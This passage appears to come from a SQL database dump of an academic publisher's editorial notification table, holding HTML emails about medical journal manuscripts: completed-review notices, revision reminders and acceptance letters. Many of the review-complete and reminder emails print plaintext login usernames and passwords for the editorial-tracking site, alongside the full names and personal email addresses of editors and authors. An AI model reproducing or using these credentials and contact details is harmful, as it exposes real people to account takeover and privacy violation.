font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-5197</b><br />\r\n            <br />\r\n            Article Title: <b>CALCIFIED CHRONIC SUBDURAL HEMATOMA</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Mar&iacute;a de los &Aacute;ngeles G&oacute;mez Fortty</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Rubinstein</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjnn-20-5197</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> carlos<br />\r\n            <b>Password:</b> NCAf3sEi<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','rubidoc@gmail.com',5197,'2020-10-13',75),(2074,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-5232</b><br />\r\n            <br />\r\n            Article Title: <b>Neurological Manifestations of SARS-CoV-2: Proposed  Pathogenesis</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Juan Fernando Ortiz </b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Etindele Sosso</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjnn-20-5232</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> faustin_armel<br />\r\n            <b>Password:</b> HUJvN1Yf<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','faustin.armel.etindele.sosso@umontreal.ca',5232,'2020-10-13',75),(2075,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-5366</b><br />\r\n            <br />\r\n            Article Title: <b>Implications of COVID-19 in Neurological Disorders</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Satish Gaddam</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Cui</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjnn-20-5366</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> jianqi<br />\r\n            <b>Password:</b> 6crI6iMT<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','jianqi@gmail.com',5366,'2020-10-13',75),(2076,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-5712</b><br />\r\n            <br />\r\n            Article Title: <b>Prevalence of Primary Headache Disorder Among Primary and middle School students in Kuwait.</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Jasem Al-Hashel</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Cui</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjnn-20-5712</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> jianqi<br />\r\n            <b>Password:</b> 6crI6iMT<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','jianqi@gmail.com',5712,'2020-10-13',75),(2077,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-5989</b><br />\r\n            <br />\r\n            Article Title: <b>Pediatric RCVS in Newly Diagnosed ALL Treated with Intra-Arterial Nicardipine</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Devin Simon</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Cui</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjnn-20-5989</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> jianqi<br />\r\n            <b>Password:</b> 6crI6iMT<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','jianqi@gmail.com',5989,'2020-10-13',75),(2079,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-5989</b><br />\r\n            <br />\r\n            Article Title: <b>Pediatric RCVS in Newly Diagnosed ALL Treated with Intra-Arterial Nicardipine</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jneuro.com/\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Simon</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-10-13</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','simondev@msu.edu',5989,'2020-10-13',75),(2080,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-6349</b><br />\r\n            <br />\r\n            Article Title: <b>ANXIETY, DEPRESSION, AND OTHER MENTAL DISORDERS IN PREGNANT WOMEN LIVING IN EXPOSURE TO COVID-19.</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Kayo Resende Dias e Almeida</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Mohammad </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-20-6349</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> azizur_rahman<br />\r\n            <b>Password:</b> TvoCB74a<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','mohammadrahmandr@gmail.com',6349,'2020-10-13',85),(2081,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-5712</b><br />\r\n            <br />\r\n            Article Title: <b>Prevalence of Primary Headache Disorder Among Primary and middle School students in Kuwait.</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jneuro.com/\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Al-Hashel</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-10-13</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','dralhashel@hotmail.com',5712,'2020-10-13',75),(2082,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>IPJUS-20-6160</b><br />\r\n            <br />\r\n            Article Title: <b>COMPARISION OF POST OPERATIVE MORBIDITY AMONG LAPAROSCOPIC AND LICHTENSTEIN TENSION FREE INGUINAL HERNIA REPAIR  </b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Universal Surgery</b><br />\r\n            <br />\r\n            Dear Dr. <b>Reddy</b><br />\r\n            <br />\r\n            As iMedPub LTD is concerned about the timelines, we are expecting the revision of <b>IPJUS-20-6160</b> by <b>19-10-2020</b>.<br />\r\n            <br />\r\n            If you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <b><a href=\"https://www.jusurgery.com/\">https://www.jusurgery.com/</a></b> and submit the revision.<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Username : <b>shashidhar</b><br />\r\n            Password : <b>SuBGw2T8</b><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Manging Editor,<br />\r\n            <b><a href=\"https://www.jusurgery.com/\">Journal of Universal Surgery</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Revision First Reminder','mademshashidharreddy@gmail.com',6160,'2020-10-14',319),(2083,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>IPJUS-20-6204</b><br />\r\n            <br />\r\n            Article Title: <b>Gastrocutaneous Fistula; An atypical Presentation</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Universal Surgery</b><br />\r\n            <br />\r\n            Dear Dr. <b>Lee</b><br />\r\n            <br />\r\n            As iMedPub LTD is concerned about the timelines, we are expecting the revision of <b>IPJUS-20-6204</b> by <b>19-10-2020</b>.<br />\r\n            <br />\r\n            If you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <b><a href=\"https://www.jusurgery.com/\">https://www.jusurgery.com/</a></b> and submit the revision.<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Username : <b>adelaide_hong_zhen</b><br />\r\n            Password : <b>fjgxGKWH</b><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Manging Editor,<br />\r\n            <b><a href=\"https://www.jusurgery.com/\">Journal of Universal Surgery</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Revision First Reminder','adelaidelee@ymail.com',6204,'2020-10-14',319),(2084,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-6234</b><br />\r\n            <br />\r\n            Article Title: <b>Do Chloroquine and Hydroxychloroquine treat COVID-19?</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Reda Bzikha</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Richard </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-20-6234</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> m._fleming<br />\r\n            <b>Password:</b> F3hTrCHA<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','drrichardmfleming@gmail.com',6234,'2020-10-14',85);
INSERT INTO `notifications` VALUES (2085,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-5126</b><br />\r\n            <br />\r\n            Article Title: <b>Effects of Healthy Aging on Semantic Processing of Familiar Faces: Pilot Study</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jneuro.com/\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Kim</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-10-15</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','KIMS@ECU.EDU',5126,'2020-10-15',75),(2086,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-5187</b><br />\r\n            <br />\r\n            Article Title: <b>Pilot study to determine the extent of chemotherapy-induced polyneuropathy (CIPNP) in breast cancer patients </b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jneuro.com/\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Seifart</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-10-15</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','ulf.seifart@drv-hessen.de',5187,'2020-10-15',75),(2087,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-5232</b><br />\r\n            <br />\r\n            Article Title: <b>Neurological Manifestations of SARS-CoV-2: Proposed  Pathogenesis</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jneuro.com/\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Ortiz </b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-10-15</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','sumjuanfer41@gmail.com',5232,'2020-10-15',75),(2088,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-5197</b><br />\r\n            <br />\r\n            Article Title: <b>CALCIFIED CHRONIC SUBDURAL HEMATOMA</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jneuro.com/\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>G&oacute;mez Fortty</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-10-15</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','Gomezfortty_1998@hotmail.com',5197,'2020-10-15',75),(2091,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iptb-20-6273</b><br />\r\n            <br />\r\n            Article Title: <b>A REVIEW ON BIOMARKERS: AS A POTENTIAL DIAGNOSTIC TOOL</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Aasiya Nahas</b><br />\r\n            <br />\r\n            Journal Title: <b>Translational Biomedicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Berezin</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>iptb-20-6273</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> alexander_e<br />\r\n            <b>Password:</b> uN7Aog3r<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.transbiomedicine.com/\">Translational Biomedicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','dr_berezin@mail.ru',6273,'2020-10-17',673),(2092,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iptb-20-6274</b><br />\r\n            <br />\r\n            Article Title: <b>C2AZ as treatment adjunct</b><br />\r\n            <br />\r\n            Corresponding Author: <b>R. E. Kast</b><br />\r\n            <br />\r\n            Journal Title: <b>Translational Biomedicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Berezin</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>iptb-20-6274</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> alexander_e<br />\r\n            <b>Password:</b> uN7Aog3r<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.transbiomedicine.com/\">Translational Biomedicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','dr_berezin@mail.ru',6274,'2020-10-17',673),(2093,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-5187</b><br />\r\n            <br />\r\n            Article Title: <b>Pilot study to determine the extent of chemotherapy-induced polyneuropathy (CIPNP) in breast cancer patients </b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jneuro.com/\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Seifart</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-10-17</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','ulf.seifart@drv-hessen.de',5187,'2020-10-17',75),(2095,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  